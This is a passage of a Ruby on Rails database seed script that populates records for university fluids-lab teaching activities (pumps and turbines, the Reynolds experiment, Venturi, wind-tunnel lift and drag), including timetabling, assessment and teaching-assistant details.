UniModule.where(code: \"CIV2300\").first.id, code: \"420\").first_or_create!(name: \"Pumps and Turbines\",\n name_abrv: \"PUMPSTURB\", archived: false, in_drive: true, user_id: 2)\n at162 = ActivityTimetable.where(activity_id: a162.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_fl.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 120, takedown_time: 60, notes: \"\",\n capacity: 80, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a162.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"https://tinyurl.com/y8mlxuvb\", resit_priority_id: $resit_high.id)\n ActivityGta.where(activity_id: a162.id).first_or_create!(criteria: \"Understanding of thermodynamics of fluidic/mechanical power conversion\",\n job_desc:\"Computer controlled pump and turbine units are experimented with to determine the ratio of energy conversation between hydraulic and mechanical/electrical. Marking is done after the lab. Students submit a short (2 page) report which is marked on a 5 point scale using turn-it-in.\", jobshop_desc: \"GTA in MEE, the Diamond: Fluids Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a162.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_short.id, num_assess: 3)\n ActivityTech.where(activity_id: a162.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a162.id, programme_id: $prog_civ.id).first_or_create!\n\n\n a163 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"GEE204\").first.id, code: \"420\").first_or_create!(name: \"Pumps and Turbines\",\n name_abrv: \"PUMPSTURB\", archived: false, in_drive: true, user_id: 3)\n at163 = ActivityTimetable.where(activity_id: a163.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: 3, max_week_num: 3, pref_room_id: $room_fl.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 120, takedown_time: 60, notes: \"\",\n capacity: 80, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a163.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"https://tinyurl.com/y2vsz6zu\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a163.id).first_or_create!(criteria: \"Understanding of thermodynamics of fluidic/mechanical power conversion\",\n job_desc:\"Computer controlled pump and turbine units are experimented with to determine the ratio of energy conversation between hydraulic and mechanical/electrical. Marking is done after the lab. Students submit a short (2 page) report which is marked on a 5 point scale using turn-it-in.\", jobshop_desc: \"GTA in MEE, the Diamond: Fluids Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a163.id).first_or_create!(assess_weight: 5.0, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_short.id, num_assess: 3)\n ActivityTech.where(activity_id: a163.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a163.id, programme_id: $prog_gee.id).first_or_create!\n\n\n a164 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"CIV2300\").first.id, code: \"421\").first_or_create!(name: \"Pumps and Turbines 2\",\n name_abrv: \"PUMPSTURB2\", archived: false, in_drive: true, user_id: 4)\n at164 = ActivityTimetable.where(activity_id: a164.id).first_or_create!(duration: 90, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_fl.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 120, takedown_time: 60, notes: \"\",\n capacity: 80, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a164.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"https://tinyurl.com/y7pr2vq9\", resit_priority_id: $resit_high.id)\n ActivityGta.where(activity_id: a164.id).first_or_create!(criteria: \"Understanding of thermodynamics of fluidic/mechanical power conversion\",\n job_desc:\"Computer controlled pump and turbine units are experimented with to determine the ratio of energy conversation between hydraulic and mechanical/electrical. Marking is done after the lab. Students submit a short (2 page) report which is marked on a 5 point scale using turn-it-in.\", jobshop_desc: \"GTA in MEE, the Diamond: Fluids Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a164.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: 2)\n ActivityTech.where(activity_id: a164.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a164.id, programme_id: $prog_civ.id).first_or_create!\n\n\n a165 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"AER192\").first.id, code: \"423\").first_or_create!(name: \"The Osborne Reynolds Experiment\",\n name_abrv: \"REYNOLDS\", archived: false, in_drive: true, user_id: 4)\n at165 = ActivityTimetable.where(activity_id: a165.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: 2, max_week_num: 2, pref_room_id: $room_fl.id,\n same_as_prev_year: true, series_setup_time: 30, setup_time: 240, takedown_time: 240, notes: \"\",\n capacity: 80, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a165.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"https://tinyurl.com/y7lbg5la\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a165.id).first_or_create!(criteria: \"Understanding of basic hydrodynamics and laminar and turbulent flow theory\",\n job_desc:\"Students inject dye into a clear tube of flowing water. The speed of the water can be varied to generate different structures, to visualise laminar, turbulent and transitional flow.\", jobshop_desc: \"GTA in MEE, the Diamond: Fluids Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a165.id).first_or_create!(assess_weight: nil, notes: \"Post lab is handeled by the department - integrated into lecture series\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_mole.id, num_assess: 3)\n ActivityTech.where(activity_id: a165.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a165.id, programme_id: $prog_aero.id).first_or_create!\n\n\n a167 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"AMR197\").first.id, code: \"423\").first_or_create!(name: \"The Osborne Reynolds Experiment\",\n name_abrv: \"REYNOLDS\", archived: false, in_drive: true, user_id: 1)\n at167 = ActivityTimetable.where(activity_id: a167.id).first_or_create!(duration: 60, kit_prep_time: nil, min_week_num: 8, max_week_num: 8, pref_room_id: $room_fl.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 80, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a167.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a167.id).first_or_create!(criteria: \"#N/A\",\n job_desc:\"#N/A\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a167.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a167.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a167.id, programme_id: $prog_amrc.id).first_or_create!\n\n\n a168 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"AMR227\").first.id, code: \"423\").first_or_create!(name: \"The Osborne Reynolds Experiment\",\n name_abrv: \"REYNOLDS\", archived: false, in_drive: true, user_id: 4)\n at168 = ActivityTimetable.where(activity_id: a168.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: 9, max_week_num: 9, pref_room_id: $room_fl.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 60, takedown_time: 60, notes: \"\",\n capacity: 80, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a168.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"https://tinyurl.com/y9kvtza6\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a168.id).first_or_create!(criteria: \"#N/A\",\n job_desc:\"#N/A\", jobshop_desc: \"GTA in Multidisciplinary Labs for Science & Engineering Foundation Year students\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a168.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_form.id, post_lab_type_id: $post_mole.id, num_assess: 3)\n ActivityTech.where(activity_id: a168.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a168.id, programme_id: $prog_amrc.id).first_or_create!\n\n\n a169 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"CIV6733\").first.id, code: \"423\").first_or_create!(name: \"The Osborne Reynolds Experiment\",\n name_abrv: \"REYNOLDS\", archived: false, in_drive: false, user_id: 4)\n at169 = ActivityTimetable.where(activity_id: a169.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: 3, max_week_num: 3, pref_room_id: $room_fl.id,\n same_as_prev_year: false, series_setup_time: 30, setup_time: 240, takedown_time: 240, notes: \"\",\n capacity: 80, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a169.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"https://tinyurl.com/y4agrwyb\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a169.id).first_or_create!(criteria: \"Understanding of basic hydrodynamics and laminar and turbulent flow theory\",\n job_desc:\"Students inject dye into a clear tube of flowing water. The speed of the water can be varied to generate different structures, to visualise laminar, turbulent and transitional flow.\", jobshop_desc: \"GTA in MEE, the Diamond: Fluids Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a169.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_form.id, post_lab_type_id: $post_mole.id, num_assess: 3)\n ActivityTech.where(activity_id: a169.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a169.id, programme_id: $prog_civ.id).first_or_create!\n\n\n a170 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"CPE170\").first.id, code: \"423\").first_or_create!(name: \"The Osborne Reynolds Experiment\",\n name_abrv: \"REYNOLDS\", archived: false, in_drive: true, user_id: 1)\n at170 = ActivityTimetable.where(activity_id: a170.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: 2, max_week_num: 2, pref_room_id: $room_fl.id,\n same_as_prev_year: false, series_setup_time: 30, setup_time: 240, takedown_time: 240, notes: \"\",\n capacity: 80, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a170.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"https://tinyurl.com/yctnkhpt\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a170.id).first_or_create!(criteria: \"Understanding of basic hydrodynamics and laminar and turbulent flow theory\",\n job_desc:\"Students inject dye into a clear tube of flowing water. The speed of the water can be varied to generate different structures, to visualise laminar, turbulent and transitional flow.\", jobshop_desc: \"GTA in MEE, the Diamond: Fluids Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a170.id).first_or_create!(assess_weight: nil, notes: \"Formative\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_form.id, post_lab_type_id: $post_mole.id, num_assess: 3)\n ActivityTech.where(activity_id: a170.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a170.id, programme_id: $prog_cbe.id).first_or_create!\n\n\n a171 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"GEE104\").first.id, code: \"423\").first_or_create!(name: \"The Osborne Reynolds Experiment\",\n name_abrv: \"REYNOLDS\", archived: false, in_drive: true, user_id: 2)\n at171 = ActivityTimetable.where(activity_id: a171.id).first_or_create!(duration: nil, kit_prep_time: nil, min_week_num: 6, max_week_num: 6, pref_room_id: $room_fl.id,\n same_as_prev_year: false, series_setup_time: 30, setup_time: 240, takedown_time: 240, notes: \"\",\n capacity: 80, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a171.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"https://tinyurl.com/zc256mz\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a171.id).first_or_create!(criteria: \"Understanding of basic hydrodynamics and laminar and turbulent flow theory\",\n job_desc:\"Students inject dye into a clear tube of flowing water. The speed of the water can be varied to generate different structures, to visualise laminar, turbulent and transitional flow.\", jobshop_desc: \"GTA in MEE, the Diamond: Fluids Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a171.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_form.id, post_lab_type_id: $post_mole.id, num_assess: 2)\n ActivityTech.where(activity_id: a171.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a171.id, programme_id: $prog_gee.id).first_or_create!\n\n\n a172 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"MEC133\").first.id, code: \"423\").first_or_create!(name: \"The Osborne Reynolds Experiment\",\n name_abrv: \"REYNOLDS\", archived: false, in_drive: true, user_id: 4)\n at172 = ActivityTimetable.where(activity_id: a172.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: 9, max_week_num: 9, pref_room_id: $room_fl.id,\n same_as_prev_year: true, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 80, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a172.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"https://tinyurl.com/ybcx9rvy\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a172.id).first_or_create!(criteria: \"Understanding of basic hydrodynamics and laminar and turbulent flow theory\",\n job_desc:\"Students inject dye into a clear tube of flowing water. The speed of the water can be varied to generate different structures, to visualise laminar, turbulent and transitional flow.\", jobshop_desc: \"GTA in MEE, the Diamond: Fluids Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a172.id).first_or_create!(assess_weight: nil, notes: \"Post lab quiz\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_mole.id, num_assess: 3)\n ActivityTech.where(activity_id: a172.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a172.id, programme_id: $prog_mec.id).first_or_create!\n\n\n a173 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"MEC162\").first.id, code: \"423\").first_or_create!(name: \"The Osborne Reynolds Experiment\",\n name_abrv: \"REYNOLDS\", archived: false, in_drive: true, user_id: 1)\n at173 = ActivityTimetable.where(activity_id: a173.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: 9, max_week_num: 9, pref_room_id: $room_fl.id,\n same_as_prev_year: false, series_setup_time: 30, setup_time: 240, takedown_time: 240, notes: \"\",\n capacity: 80, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a173.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"https://tinyurl.com/zhk62pr\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a173.id).first_or_create!(criteria: \"Understanding of basic hydrodynamics and laminar and turbulent flow theory\",\n job_desc:\"Students inject dye into a clear tube of flowing water. The speed of the water can be varied to generate different structures, to visualise laminar, turbulent and transitional flow.\", jobshop_desc: \"GTA in MEE, the Diamond: Fluids Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a173.id).first_or_create!(assess_weight: nil, notes: \"I don't know who runs this module - it is an odd one for arch eng students\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_p2p.id, post_lab_type_id: $post_mole.id, num_assess: 3)\n ActivityTech.where(activity_id: a173.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a173.id, programme_id: $prog_ae.id).first_or_create!\n\n\n a174 = Activity.where(theme_id: $fndy.id, uni_module_id: UniModule.where(code: \"FCE001\").first.id, code: \"unknowncode4\").first_or_create!(name: \"The Venturi Effect\",\n name_abrv: \"\", archived: false, in_drive: false, user_id: 4)\n at174 = ActivityTimetable.where(activity_id: a174.id).first_or_create!(duration: nil, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: nil, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a174.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a174.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a174.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a174.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a174.id, programme_id: $prog_fy.id).first_or_create!\n\n\n a175 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"AER192\").first.id, code: \"401\").first_or_create!(name: \"The Venturi Effect\",\n name_abrv: \"VENTURI\", archived: false, in_drive: true, user_id: 3)\n at175 = ActivityTimetable.where(activity_id: a175.id).first_or_create!(duration: 60, kit_prep_time: nil, min_week_num: 4, max_week_num: 4, pref_room_id: $room_fl.id,\n same_as_prev_year: true, series_setup_time: nil, setup_time: 60, takedown_time: 60, notes: \"\",\n capacity: 80, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a175.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"https://tinyurl.com/gktozrd\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a175.id).first_or_create!(criteria: \"Basic understanding of the Bernoulli equation applied to aero engineering\",\n job_desc:\"Use a Venturi meter to see the reduction of static pressure be compensated by the increase in dynamic pressure. Stagnation pressure drops slightly due to friction.\", jobshop_desc: \"GTA in MEE, the Diamond: Fluids Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a175.id).first_or_create!(assess_weight: nil, notes: \"Post lab is handeled by the department - integrated into lecture series\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_mole.id, num_assess: 2)\n ActivityTech.where(activity_id: a175.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a175.id, programme_id: $prog_aero.id).first_or_create!\n\n\n a176 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"CIV2300\").first.id, code: \"425\").first_or_create!(name: \"Water hammer self book\",\n name_abrv: \"WATERHAM\", archived: false, in_drive: false, user_id: 1)\n at176 = ActivityTimetable.where(activity_id: a176.id).first_or_create!(duration: 60, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_fl.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 60, takedown_time: 30, notes: \"\",\n capacity: 8, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a176.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"https://tinyurl.com/y7gqnls2\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a176.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a176.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: 1)\n ActivityTech.where(activity_id: a176.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a176.id, programme_id: $prog_civ.id).first_or_create!\n\n\n a177 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"AER298\").first.id, code: \"427\").first_or_create!(name: \"Wing Lift and Drag\",\n name_abrv: \"LIFTDRAG\", archived: false, in_drive: false, user_id: 4)\n at177 = ActivityTimetable.where(activity_id: a177.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_fl.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 30, takedown_time: 30, notes: \"\",\n capacity: 16, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a177.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"https://tinyurl.com/y9gnk48b\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a177.id).first_or_create!(criteria: \"Understanding of Bernoulli principle and boundary layer theory.\",\n job_desc:\"Help students to understand how to operate the wind tunnels to extract lift and drag data from a wing model. Marking in session is required.\", jobshop_desc: \"GTA in MEE, the Diamond: Fluids Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a177.id).first_or_create!(assess_weight: 20.0, notes: \"post lab is part of the CFD assignment\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_short.id, num_assess: 2)\n ActivityTech.where(activity_id: a177.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a177.id, programme_id: $prog_aero.id).first_or_create!\n\n\n a178 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"AMR197\").first.id, code: \"427\").first_or_create!(name: \"Wing Lift and Drag\",\n name_abrv: \"LIFTDRAG\", archived: false, in_drive: true, user_id: 4)\n at178 = ActivityTimetable.where(activity_id: a178.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: 8, max_week_num: 8, pref_room_id: $room_fl.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 16, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a178.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a178.id).first_or_create!(criteria: \"#N/A\",\n job_desc:\"#N/A\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a178.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a178.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a178.id, programme_id: $prog_amrc.id).first_or_create!\n\n\n a179 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"AMR197\").first.id, code: \"428\").first_or_create!(name: \"Viscometry\",\n name_abrv: \"VISC\", archived: false, in_drive: true, user_id: 2)\n at179 = ActivityTimetable.where(activity_id: a179.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: 2, max_week_num: 2, pref_room_id: $room_fl.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"Could be in analytics\",\n capacity: 20, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a179.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a179.id).first_or_create!(criteria: \"#N/A\",\n job_desc:\"#N/A\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a179.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a179.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a179.id, programme_id: $prog_amrc.id).first_or_create!\n\n\n a180 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"MEC208\").first.id, code: \"600\").first_or_create!(name: \"Weirs Big and Small\",\n name_abrv: \"WEIRS\", archived: false, in_drive: true, user_id: 2)\n at180 = ActivityTimetable.where(activity_id: a180.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: 5, max_week_num: 12, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 150, takedown_time: 150, notes: \"\",\n capacity: 80, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a180.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a180.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a180.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a180.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a180.id, programme_id: $prog_mec.id).first_or_create!\n\n\n a181 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"MEC208\").first.id, code: \"430\").first_or_create!(name: \"Fluidic Carousel\",\n name_abrv: \"FUNLAB\", archived: false, in_drive: true, user_id: 2)\n at181 = ActivityTimetable.where(activity_id: a181.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: 5, max_week_num: 5, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 80, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a181.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"https://tinyurl.com/y3s5gczj\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a181.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a181.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a181.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a181.id, programme_id: $prog_mec.id).first_or_create!\n\n\n a182 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"MEC209\").first.id, code: \"501\").first_or_create!(name: \"Make and Break\",\n name_abrv: \"MAKEBREAK\", archived: false, in_drive: false, user_id: 2)\n at182 = ActivityTimetable.where(activity_id: a182.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: 8, max_week_num: 10, pref_room_id: nil,\n 